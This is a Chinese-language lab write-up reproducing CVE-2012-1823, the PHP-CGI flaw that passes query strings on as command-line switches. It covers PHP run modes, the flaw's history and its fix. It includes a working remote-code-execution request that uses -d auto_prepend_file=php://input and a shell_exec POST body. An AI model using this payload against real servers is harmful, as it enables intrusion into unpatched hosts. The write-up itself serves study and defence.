CVE-2012-1823 漏洞复现

CVE-2012-1823

PHP SAPI 与运行模式

首先,介绍一下PHP的运行模式。

下载PHP源码,可以看到其中有个目录叫sapi。sapi在PHP中的作用,类似于一个消息的“传递者”,比如在《Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写》一文中介绍的fpm,他的作用就是接受Web容器通过fastcgi协议封装好的数据,并交给PHP解释器执行。

除了fpm,最常见的sapi应该是用于Apache的mod_php,这个sapi用于php和apache之间的数据交换。

php-cgi也是一个sapi。在远古的时候,web应用的运行方式很简单,web容器接收到http数据包后,拿到用户请求的文件(cgi脚本),并fork出一个子进程(解释器)去执行这个文件,然后拿到执行结果,直接返回给用户,同时这个解释器子进程也就结束了。基于bash、perl等语言的web应用多半都是以这种方式来执行,这种执行方式一般就被称为cgi,在安装Apache的时候默认有一个cgi-bin目录,最早就是放置这些cgi脚本用的。

但cgi模式有个致命的缺点,众所周知,进程的创建和调度都是有一定消耗的,而且进程的数量也不是无限的。所以,基于cgi模式运行的网站通常不能同时接受大量请求,否则每个请求生成一个子进程,就有可能把服务器挤爆。于是后来就有了fastcgi,fastcgi进程可以将自己一直运行在后台,并通过fastcgi协议接受数据包,执行后返回结果,但自身并不退出。

php有一个叫php-cgi的sapi,php-cgi有两个功能,一是提供cgi方式的交互,二是提供fastcgi方式的交互。也就说,我们可以像perl一样,让web容器直接fork一个php-cgi进程执行某脚本;也可以在后台运行php-cgi -b 127.0.0.1:9000(php-cgi作为fastcgi的管理器),并让web容器用fastcgi协议和9000交互。

那我之前说的fpm又是什么呢?为什么php有两个fastcgi管理器?php确实有两个fastcgi管理器,php-cgi可以以fastcgi模式运行,fpm也是以fastcgi模式运行。但fpm是php在5.3版本以后引入的,是一个更高效的fastcgi管理器,其诸多优点我就不多说了,可以自己去翻翻源码。因为fpm优点更多,所以现在越来越多的web应用使用php-fpm去运行php。

PHP的四种运行模式

(1)CGI

​ 全称是“通用网关接口”(Common Gateway Interface), 它可以让一个客户端,从网页浏览器向执行在Web服务器上的程序请求数据,描述的是客户端和这个程序之间传输数据的一种标准,另外CGI独立于任何语言,所以可以用任何一种语言编写,只要这种语言具有标准输入、输出和环境变量。如php,perl,tcl等。

​ CGI针对每个用户请求都要开单独的子进程去维护,所以数量多的时候会出现性能问题,最近几年很少用。

(2)FastCGI

​ CGI的升级版本,FastCGI 像是一个常驻 (long-live) 型的 CGI,它可以一直执行着,只要激活后,不会每次都要花费时间去解析php.ini、重新载入全部dll扩展并重初始化全部数据结构。

​ PHP使用PHP-FPM(FastCGI Process Manager),全称PHP FastCGI进程管理器进行管理。

(3)Cli

​ PHP-CLI是PHP Command Line Interface的简称,就是PHP在命令行运行的接口,区别于在Web服务器上运行的PHP环境(PHP-CGI等)。

​ 在php-cli模式下我们可以直接启动一个php文件并执行,就像workerman中一样

(4)Module加载

这种方式一般是针对apache而言的,它是把php作为apache的一个子模块来运行。


漏洞影响范围

​ 漏洞影响版本 PHP < 5.3.12 、 PHP < 5.4.2

​ CVE-2012-1823是在php-cgi运行模式下出现的漏洞,其漏洞只出现在以cgi模式运行的php中。

漏洞成因

​ 这个漏洞简单来说,就是用户请求的querystring(querystring字面上的意思就是查询字符串,一般是对http请求所带的数据进行解析,这里也是只http请求中所带的数据)被作为了php-cgi的参数,最终导致了一系列结果。

​ RFC3875中规定,当querystring中不包含没有解码的=号的情况下,要将querystring作为cgi的参数传入。所以Apache服务器按要求实现了这个功能。但PHP并没有注意到RFC的这一个规则,也许是曾经注意并处理了,处理方法就是web上下文中不允许传入参数。

From: Rasmus Lerdorf <rasmus <at> lerdorf.com>
Subject: [PHP-DEV] php-cgi command line switch memory check
Newsgroups: gmane.comp.php.devel
Date: 2004-02-04 23:26:41 GMT (7 years, 49 weeks, 3 days, 20 hours and 39 minutes ago)

In our SAPI cgi we have a check along these lines:

    if (getenv("SERVER_SOFTWARE")
        || getenv("SERVER_NAME")
        || getenv("GATEWAY_INTERFACE")
        || getenv("REQUEST_METHOD")) {
        cgi = 1;
    }

    if(!cgi) getopt(...)

As in, we do not parse command line args for the cgi binary if we are 
running in a web context.  At the same time our regression testing system 
tries to use the cgi binary and it sets these variables in order to 
properly test GET/POST requests.  From the regression testing system we 
use -d extensively to override ini settings to make sure our test 
environment is sane.  Of course these two ideas conflict, so currently our 
regression testing is somewhat broken.  We haven't noticed because we 
don't have many tests that have GET/POST data and we rarely build the cgi 
binary.

The point of the question here is if anybody remembers why we decided not 
to parse command line args for the cgi version?  I could easily see it 
being useful to be able to write a cgi script like:

  #!/usr/local/bin/php-cgi -d include_path=/path
  <?php
      ...
  ?>

and have it work both from the command line and from a web context.

As far as I can tell this wouldn't conflict with anything, but somebody at 
some point must have had a reason for disallowing this.

-Rasmus

但开发者是为了方便使用类似#!/usr/local/bin/php-cgi -d include_path=/path的写法来进行测试,认为不应该限制php-cgi接受命令行参数,而且这个功能不和其他代码有任何冲突。

于是,源程序中的if(!cgi) getopt(...)被删掉了。

根据RFC中对于command line的说明,命令行参数不光可以通过#!/usr/local/bin/php-cgi -d include_path=/path的方式传入php-cgi,更可以通过querystring的方式传入。

漏洞利用

​ cgi模式下有如下可控命令行参数可用:

  • -c 指定php.ini文件(PHP的配置文件)的位置
  • -n 不要加载php.ini文件
  • -d 指定配置项
  • -b 启动fastcgi进程
  • -s 显示文件源码
  • -T 执行指定次该文件
  • -h-? 显示帮助

那么最简单的利用方式就是-s可以直接显示源码:

image-20230923132157742

爆出源码说明漏洞存在。看network,版本是PHP 5.4.1,满足条件。

一个更好的利用方法是通过使用-d指定auto_prepend_file来制造任意文件包含漏洞,执行任意代码:(其中用“+”代替了“空格”,并将“=”和“:”进行了URL编码)

​ 其原理是:利用可控命令行参数 -dallow_url_include 得值设为 on 并使用 auto_prepend_file 函数在页面顶部加载文件,而构造加载的文件为 php://input 读取的原始POST数据(也就是传输的数据 <?php echo shell_exec("ls");?> 的执行结果),并传递到回应包里。构造请求包如下:

POST /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1
 
...
...
...

<?php echo shell_exec("ls");?>

在burp中构造执行的结果如下,成功拿到flag:

image-20230923133839047

漏洞修复

​ 修复原理是:获取querystring后进行解码,先跳过所有空白符(小于等于空格的所有字符),再判断第一个字符是否是-。如果第一个字符是-则设置skip_getopt,也就是不要获取命令行参数。修复源码如下

    if((query_string = getenv("QUERY_STRING")) != NULL && strchr(query_string, '=') == NULL) {
        /* we've got query string that has no = - apache CGI will pass it to command line */
        unsigned char *p;
        decoded_query_string = strdup(query_string);
        php_url_decode(decoded_query_string, strlen(decoded_query_string));
        for (p = decoded_query_string; *p && *p <= ' '; p++) {
        /* skip all leading spaces */
       }  
       if(*p == '-') {
          skip_getopt = 1;
       }
       free(decoded_query_string);
    }

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/382263.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

在Ubuntu22.04上部署ComfyUI

ComfyUI 是 一个基于节点流程的 Stable Diffusion 操作界面&#xff0c;可以通过流程&#xff0c;实现了更加精准的工作流定制和完善的可复现性。每一个模块都有特定的的功能&#xff0c;我们可以通过调整模块连接达到不同的出图效果&#xff0c;特点如下&#xff1a; 1.对显存…

【深蓝学院】移动机器人运动规划--第4章 动力学约束下的运动规划--笔记

0. Outline 1. Introduction 什么是kinodynamic&#xff1f; 运动学&#xff08;Kinematics&#xff09;和动力学&#xff08;Dynamics&#xff09;都是力学的分支&#xff0c;涉及物体的运动&#xff0c;但它们研究的焦点不同。 运动学专注于描述物体的运动&#xff0c;而…

第67讲自定义icon实现

element-plus内置有一些常用的icon供我们使用&#xff0c;但是我们假如需要用自己的icon时候&#xff0c;我们可以搞一个icon自定义组件&#xff1b; 先把icons文件放到src下&#xff1b; 再新建一个SvgIcon组件&#xff1b; index.vue <template><svg class"…

Qt中程序发布及常见问题

1、引言 当我们写好一个程序时通常需要发布给用户使用&#xff0c;那么在Qt中程序又是如何实现发布的呢&#xff0c;这里我就来浅谈一下qt中如何发布程序&#xff0c;以及发布程序时的常见问题。 2、发布过程 2.1、切换为release模式 当我们写qt程序时默认是debug模式&#x…

部分意图分类【LLM+RAG】

在生成人工智能领域工作最有价值的事情之一就是发现新兴技术如何融入新的解决方案。 举个例子&#xff1a;在为北美顶级金融服务公司之一设计对话式人工智能助手时&#xff0c;WillowTree 的数据和人工智能研究团队 (DART) 发现&#xff0c;将意图分类与大型语言模型 (LLM) 结合…

学生宿舍管理系统设计与实现(源码+数据库+文档)

学生宿舍管理小程序目录 目录 基于微信小程序的学生宿舍管理系统设计与实现 一、前言 二、系统功能设计 三、系统实现 1、管理员模块的实现 &#xff08;1&#xff09;学生信息管理 &#xff08;2&#xff09;公告信息管理 &#xff08;3&#xff09;宿舍信息管理 &am…

LeetCode---383周赛

题目列表 3028. 边界上的蚂蚁 3029. 将单词恢复初始状态所需的最短时间 I 3030. 找出网格的区域平均强度 3031. 将单词恢复初始状态所需的最短时间 II 一、边界上的蚂蚁 这题没什么好说的&#xff0c;模拟就行&#xff0c;本质就是看前缀和有几个为0。 代码如下 class S…

springBoot,springSecurity返回乱码

框架&#xff1a;SpringBoot3 问题&#xff1a;响应内容乱码 问题代码&#xff1a; // 成功登录响应的内容Overridepublic void onAuthenticationSuccess(HttpServletRequest request, HttpServletResponse response, Authentication authentication…

MongoDB从入门到实战之.NET Core使用MongoDB开发ToDoList系统(1)-后端项目框架搭建

前言&#xff1a; 前面的四个章节我们主要讲解了MongoDB的相关基础知识&#xff0c;接下来我们就开始进入使用.NET7操作MongoDB开发一个ToDoList系统实战教程。本章节主要介绍的是如何快熟搭建一个简单明了的后端项目框架。 MongoDB从入门到实战的相关教程 MongoDB从入门到实战…

【从Python基础到深度学习】1. Python PyCharm安装及激活

前言&#xff1a; 为了帮助大家快速入门机器学习-深度学习&#xff0c;从今天起我将用100天的时间将大学本科期间的所学所想分享给大家&#xff0c;和大家共同进步。【从Python基础到深度学习】系列博客中我将从python基础开始通过知识和代码实践结合的方式进行知识的分享和记…

JVM 性能调优 - 常用的垃圾回收器(6)

垃圾收集器 在 JVM(Java虚拟机)中,垃圾收集器(Garbage Collector)是负责自动管理内存的组件。它的主要任务是在程序运行过程中,自动回收不再使用的对象所占用的内存空间,以便为新的对象提供足够的内存。 JVM中的垃圾收集器使用不同的算法和策略来实现垃圾收集过程,以…

ChatGpt报错:Your authentication token is no longer valid解决办法

今天打开ChatGpt突然提示Oops&#xff01;,Your authentication token is no longer valid.&#xff0c;之前还好好的&#xff0c;环境也没变啊&#xff0c;结果弄了好久终于解决&#xff0c;于是记录一下解决过程&#xff0c;顺便总结一下关于OpenAI各种报错的解决办法。 完整…

[C#]winform制作圆形进度条好用的圆环圆形进度条控件和使用方法

【创建圆形进度条流程】 在C# WinForms应用程序中创建一个圆形进度条&#xff08;通常用作仪表盘的显示&#xff09;可以通过多种方式实现。下面是一个简单的例子&#xff0c;演示如何使用System.Drawing命名空间中的图形绘制功能来绘制一个基本的圆形进度条。 首先&#xff0…

hook函数——useRef

useRef useRef 是一个 React Hook&#xff0c;它能帮助引用一个不需要渲染的值。也就是说useRef可以存储一个值&#xff0c;但是不被组件渲染&#xff0c;仅仅只是引用&#xff0c;主要包括两个方面&#xff0c;例如使用ref引用一个值&#xff0c;使用ref引用一个dom节点&…

C++ 贪心 区间问题 区间分组

给定 N 个闭区间 [ai,bi] &#xff0c;请你将这些区间分成若干组&#xff0c;使得每组内部的区间两两之间&#xff08;包括端点&#xff09;没有交集&#xff0c;并使得组数尽可能小。 输出最小组数。 输入格式 第一行包含整数 N &#xff0c;表示区间数。 接下来 N 行&…

第70讲axios后端请求工具类封装

axios工具类封装&#xff1a; // 引入axios import axios from axios;// 创建axios实例 const httpService axios.create({// url前缀-http:xxx.xxx// baseURL: process.env.BASE_API, // 需自定义baseURL:http://localhost:80/,// 请求超时时间timeout: 3000 // 需自定义 })…

gem5学习(19):gem5内存系统——The gem5 Memory System

目录 一、Model Hierarchy 二、CPU 三、Data Cache Object 四、Tags & Data Block 五、MSHR and Write Buffer Queues 六、Memory Access Ordering 七、Coherent Bus Object 八、Simple Memory Object 九、Message Flow 1、Memory Access Ordering&#xff08;re…

C++模版(初阶)

&#x1f308;函数复用的两种不恰当方式 ☀️1.函数重载 以Swap函数为例&#xff0c;有多少种参数类型组合&#xff0c;就要重载多少个函数&#xff1a; void Swap(int& left, int& right) {int temp left;left right;right temp; } void Swap(double& left,…

ChatGPT高效提问—prompt常见用法(续篇十一)

ChatGPT高效提问—prompt常见用法(续篇十一) 1.1 增加角色 ​ 在prompt里可以适当增加角色,来满足一些特殊场景的需求。先来看一个不带角色的简单示例。 输入prompt: ​ ChatGPT输出: ​ 如上所示,问题比较难,ChatGPT的答案也确实晦涩难懂。试想一下,如果将这个解释将…

fast.ai 深度学习笔记(四)

深度学习 2&#xff1a;第 2 部分第 8 课 原文&#xff1a;medium.com/hiromi_suenaga/deep-learning-2-part-2-lesson-8-5ae195c49493 译者&#xff1a;飞龙 协议&#xff1a;CC BY-NC-SA 4.0 来自 fast.ai 课程的个人笔记。随着我继续复习课程以“真正”理解它&#xff0c;这…